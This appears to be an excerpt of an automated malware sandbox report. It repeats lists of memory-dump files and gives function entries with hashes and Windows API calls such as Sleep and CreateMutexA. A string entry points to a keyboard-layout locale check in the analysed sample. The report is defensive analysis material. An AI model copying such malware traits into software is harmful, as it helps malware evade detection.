Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 1ce64ffed694123594f3c5a01f7952adb089b9ed092e07c21ac608a3724ccf49
Instruction ID: 731e36dfc2ab5c87114ca0f29c2514a251e89a7aad1247186296334efff58ab6
Opcode Fuzzy Hash: 1ce64ffed694123594f3c5a01f7952adb089b9ed092e07c21ac608a3724ccf49
Instruction Fuzzy Hash: 37F1E2709002589FEB24DF54CC85BDEBBB9EF45304F5082A9F508AB2C2DB759A84CF95

Function 00029BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0002A963
CreateMutexA.KERNEL32(00000000,00000000,00083254), ref: 0002A981

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 28b3097f61484022c7a9fcb10ae3530a16f2cf5d499da398991ff327b2bd72c2
Instruction ID: 67f71b507529eb0018f91ef7fd5426c8545c21eb9ccc024bbe597d8ac7d03ea1
Opcode Fuzzy Hash: 28b3097f61484022c7a9fcb10ae3530a16f2cf5d499da398991ff327b2bd72c2
Instruction Fuzzy Hash: 9F314871B042508BFB18DB78ED8D7ADBBA2EBC6314F208219E014973D6DB7599808751

Function 00029F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0002A963
CreateMutexA.KERNEL32(00000000,00000000,00083254), ref: 0002A981

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b991c629cf0a7dffd1d72caf9ce1b972b8edd94ceb2e40193f034561a3c578cb
Instruction ID: 6ccd7b63c0b333db5b7ae7ca871f2d7ce6daecce6cae4d54eab002eed5f16a1a
Opcode Fuzzy Hash: b991c629cf0a7dffd1d72caf9ce1b972b8edd94ceb2e40193f034561a3c578cb
Instruction Fuzzy Hash: 96315B71B002509BFB58DB78EDC97ADB7A2EBC6310F208619E514DB3D2DB7699808712

Function 0002A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0002A963
CreateMutexA.KERNEL32(00000000,00000000,00083254), ref: 0002A981

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 361c9872dc02e701ba36be842e806c25edb4a11681b02f57fa927599830bc5e5
Instruction ID: ea59976e00cfebf32619f44e0eb37288d4c034fcced560699c15d7fe3f034e5e
Opcode Fuzzy Hash: 361c9872dc02e701ba36be842e806c25edb4a11681b02f57fa927599830bc5e5
Instruction Fuzzy Hash: 7B314C71B002509BEB18DB78EDC97ADB762EBC3324F208219E114977D2DF7699808712

Function 0002A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0002A963
CreateMutexA.KERNEL32(00000000,00000000,00083254), ref: 0002A981

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
